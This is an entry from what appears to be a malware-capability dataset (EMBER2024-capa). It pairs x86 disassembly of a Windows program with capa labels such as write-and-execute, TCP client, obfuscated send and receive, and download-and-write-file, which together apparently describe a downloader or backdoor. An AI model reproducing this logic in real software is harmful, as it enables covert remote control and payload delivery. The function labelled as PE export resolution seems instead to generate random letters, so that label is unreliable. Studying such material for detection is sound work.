joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021a0
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x4022be
push 0xb69
call fcn.0040a4f1
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xb69
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4022b1
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x30]
test eax, eax
jl 0x402219
jg 0x40220d
test ecx, ecx
jbe 0x402219
mov ebx, dword [esi + 0x38]
mov ebp, dword [esi + 0x3c]
mov edx, ecx
mov edi, eax
jmp 0x40221d
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xbd]
cmp eax, edi
mov ecx, dword [esi + 0xb9]
jl 0x402247
jg 0x402233
cmp ecx, edx
jbe 0x402247
mov ebx, dword [esi + 0xc1]
mov ebp, dword [esi + 0xc5]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x146]
cmp eax, edi
mov ecx, dword [esi + 0x142]
jl 0x402271
jg 0x40225d
cmp ecx, edx
jbe 0x402271
mov ebx, dword [esi + 0x14a]
mov ebp, dword [esi + 0x14e]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1cf]
cmp eax, edi
mov ecx, dword [esi + 0x1cb]
jl 0x40229b
jg 0x402287
cmp ecx, edx
jbe 0x40229b
mov ebx, dword [esi + 0x1d3]
mov ebp, dword [esi + 0x1d7]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00418b20
mov dword [esp + 0x10], eax
test esi, esi
je 0x4022be
push esi
call fcn.0040a4fc
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x4022e0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x402331
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x402590
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.00414a38
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42ef60]
fadd qword [0x42ef78]
call fcn.00418a30
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x4026b0
call fcn.00414a38
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x42ef60]
fmul qword [0x42ef70]
fadd qword [0x42ef68]
call fcn.00418a30
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x402698
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x402689
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x402680
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x402647
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x402750
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00416d10
add esp, 0xc
cmp edi, esi
je 0x402838
mov eax, 0x42ebb4
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402795
sub eax, edx
sar eax, 1
je 0x4027bf
push 0x42ebb8
lea edx, [esp + 8]
push 0x42ebb4
push edx
call fcn.00414e8b
add esp, 0xc
jmp 0x4027fa
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42ebc0
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.0041493a
push 0x42ebdc
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00414e8b
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x40281d
push eax
push 1
push 0x200
push edi
call fcn.00415451
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00415212
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041492b
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0041492b
add esp, 0x214
ret
Function at 0x402850
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x42ebe4
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00414e8b
add esp, 0xc
test eax, eax
je 0x402874
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0041555d
mov eax, dword [esp + 0x1c]
push eax
call fcn.0041577f
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0041555d
lea ebp, [esi + 0x32]
push ebp
call fcn.0041583c
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.0041517e
mov eax, dword [esp + 0x40]
push eax
call fcn.00415212
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00402920
mov ecx, dword [esp + 0x4c]
push 0x42ebec
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.00414e8b
add esp, 0x40
test eax, eax
je 0x4028f2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.00415451
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00415212
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x402970
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x42ef54
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.00416164
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.00415906
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00415970
add esp, 0x14
test eax, eax
je 0x4029fb
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402af7
mov eax, 0x435048
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a30
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a47
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a60
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040a4f1
push edi
mov esi, eax
push 0
push esi
call fcn.00416d10
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x435048
push edi
push esi
call fcn.0041599d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402ab0
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x42ebf4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x402af5
push esi
call fcn.0040a4fc
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0041492b
add esp, 0x314
ret
Function at 0x402b10
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3e8
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.00416d10
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x438480
call fcn.00401bf0
add esp, 4
test eax, eax
jne 0x402c59
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.00416d10
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.00402d20
xor eax, eax
jmp 0x402ba0
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x438628], cx
add eax, 2
test cx, cx
jne 0x402ba0
push 0x42ebfc
push 0x40
push 0x438484
call fcn.004149b7
add esp, 0xc
push 0x42ec18
mov edx, 0x51
push 0x10
push 0x438506
mov word [0x438504], dx
call fcn.004149b7
add esp, 0xc
push 0x42ec24
push 0x40
push 0x438526
call fcn.004149b7
mov eax, 0x2b66
add esp, 0xc
mov word [0x4385a6], ax
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x438608], cx
add eax, 2
test cx, cx
jne 0x402c10
mov eax, 0x438608
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402c30
mov ecx, dword [0x42ec40]
mov dx, word [0x42ec44]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x438648], 5
call fcn.00402dc0
lea edi, [esp + 0x1d8]
call fcn.00402d20
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x4388b8], cx
add eax, 2
test cx, cx
jne 0x402c70
push 0x4388b8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402cbc
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.0041492b
add esp, 0x3e8
ret
push 0x4388b8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402ca4
mov ecx, 0x438938
call fcn.00403010
mov eax, dword [0x43864c]
push 0
push 0
push 0
push 0x4035f0
push 0
push 0
mov dword [0x438940], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
mov dword [0x435038], eax
xor ecx, esp
mov eax, 1
call fcn.0041492b
add esp, 0x3e8
ret
Function at 0x4032d0
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x3c
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x40]
push ebx
push ebp
push esi
mov esi, edx
mov dword [esp + 0x18], eax
xor eax, eax
xor edx, edx
push 0x288
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x10], 0xffffffff
mov word [esp + 0x28], dx
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov word [esp + 0x46], ax
xor ebx, ebx
call fcn.0041583c
mov ebp, eax
add esp, 4
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x403363
push ebp
call fcn.00415d97
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0041583c
add esp, 8
mov ebp, eax
lea edx, [esp + 0x10]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x403447
mov eax, ebp
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x403447
push edi
jmp 0x403394
mov eax, dword [esp + 0x18]
inc dword [esp + 0x10]
test esi, esi
je 0x4033af
mov ecx, dword [eax + 0x194]
mov dword [esi], ecx
mov dx, word [eax + 0x198]
mov word [esi + 4], dx
lea edi, [eax + 0x1ac]
test edi, edi
je 0x403434
lea esp, [esp]
lea edx, [edi + 4]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4033c8
sub eax, esi
mov ecx, eax
cmp ecx, 0x10
jle 0x4033dd
mov ecx, 0x10
xor eax, eax
test ecx, ecx
jl 0x4033fd
cmp eax, ecx
jne 0x4033ee
xor esi, esi
mov word [esp + eax*2 + 0x28], si
movsx si, byte [edx + eax]
mov word [esp + eax*2 + 0x28], si
inc eax
cmp eax, ecx
jle 0x4033e5
lea eax, [esp + 0x28]
push eax
call fcn.00402e70
add esp, 4
test eax, eax
je 0x403425
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + ebx*4]
lea ecx, [esp + 0x28]
push ecx
push 0x10
push eax
call fcn.004149b7
add esp, 0xc
mov edi, dword [edi]
inc ebx
test edi, edi
jne 0x4033c0
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x24]
test ebx, ebx
jg 0x403446
mov eax, dword [eax]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x403390
pop edi
mov ecx, dword [esp + 0x1c]
mov dword [ecx], ebx
test ebp, ebp
je 0x40345a
push ebp
call fcn.00415d97
add esp, 4
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041492b
add esp, 0x3c
ret
Function at 0x403890
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x434
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x42c], eax
mov eax, dword [esp + 0x43c]
push ebx
push ebp
mov ebp, dword [esp + 0x440]
push esi
push edi
push eax
mov ecx, ebp
call fcn.00403a60
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x403a42
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x32]
push edx
mov word [esp + 0x34], cx
call fcn.00416d10
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x23a]
push ecx
mov word [esp + 0x23c], ax
call fcn.00416d10
add esp, 0xc
lea esi, [esp + 0x28]
call fcn.00403730
push 0x42ec98
mov edx, esi
push 0x104
push edx
call fcn.0041493a
xor eax, eax
lea ebx, [esp + 0x20]
add esp, 0xc
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov word [esp + 0x25], ax
mov byte [esp + 0x27], al
mov esi, 0x437b68
sub ebx, 0x437c6c
cmp word [esi], 0
je 0x4039c7
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x234]
push 0x104
push ecx
call fcn.004149b7
add esp, 0xc
push esi
lea edx, [esp + 0x234]
push 0x104
push edx
call fcn.0041493a
lea eax, [esp + 0x23c]
add esp, 0xc
push eax
lea edi, [esp + 0x18]
call fcn.00406200
add esp, 4
test eax, eax
je 0x4039c7
mov ecx, 0x14
lea eax, [esi + 0x104]
lea ecx, [ecx]
mov edx, dword [ebx + eax]
cmp edx, dword [eax]
jne 0x4039c7
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x4039b0
xor eax, eax
mov word [esi], ax
add esi, 0x118
sub ebx, 0x118
cmp esi, 0x4380e0
jl 0x403954
mov edi, dword [esp + 0x44c]
mov esi, 0x437b68
jmp 0x4039f0
cmp word [esi], 0
je 0x403a01
push edi
push ebp
push esi
call fcn.004042c0
add esp, 0xc
add esi, 0x118
cmp esi, 0x4380e0
jl 0x4039f0
push 0x438b38
lea ecx, [esp + 0x2c]
push 0x104
push ecx
call fcn.0041493a
add esp, 0xc
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403a3e
mov dword [esp + 0x10], 2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041492b
add esp, 0x434
ret
Function at 0x403c70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403c9b
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403cd0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0041492b
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403cb8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403d0c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x403d65
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403d65
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0041492b
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x403d74
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0041492b
add esp, 0x9b0
ret

Function at 0x403ed0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x403f52
cmp edi, eax
jle 0x403efd
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x403ef0
lea ebx, [edi + 7]
push ebx
call fcn.0040a4f1
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x43503c]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x435040]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0041b7d0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403f56
cmp eax, ebx
jne 0x403f56
mov dword [esp + 0xc], 1
jmp 0x403f56
mov esi, dword [esp + 0x14]
test esi, esi
je 0x403f63
push esi
call fcn.0040a4fc
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404130
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404171
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x40428d
test edx, edx
je 0x40428d
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.00416d10
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4042a5
test eax, eax
je 0x4042a5
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.0040a4f1
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40427b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404259
test eax, eax
je 0x404259
add esi, eax
cmp edi, esi
jg 0x4041e4
cmp esi, 5
jl 0x40427b
mov ecx, dword [0x43503c]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40427b
mov dl, byte [ebx + 4]
cmp dl, byte [0x435040]
jne 0x40427b
test esi, esi
jle 0x40423c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404230
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404261
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0041b7d0
mov dword [edi], esi
jmp 0x404270
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40427b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0041b7d0
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x404288
push ebx
call fcn.0040a4fc
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.0041492b
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0041492b
add esp, 0x8d8
ret
Function at 0x404540
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.004191c0
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x404598
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.0041492b
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x4045d7
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x4045d6
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00415451
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x4045a0
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00415212
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.0041492b
add esp, 0x100c
ret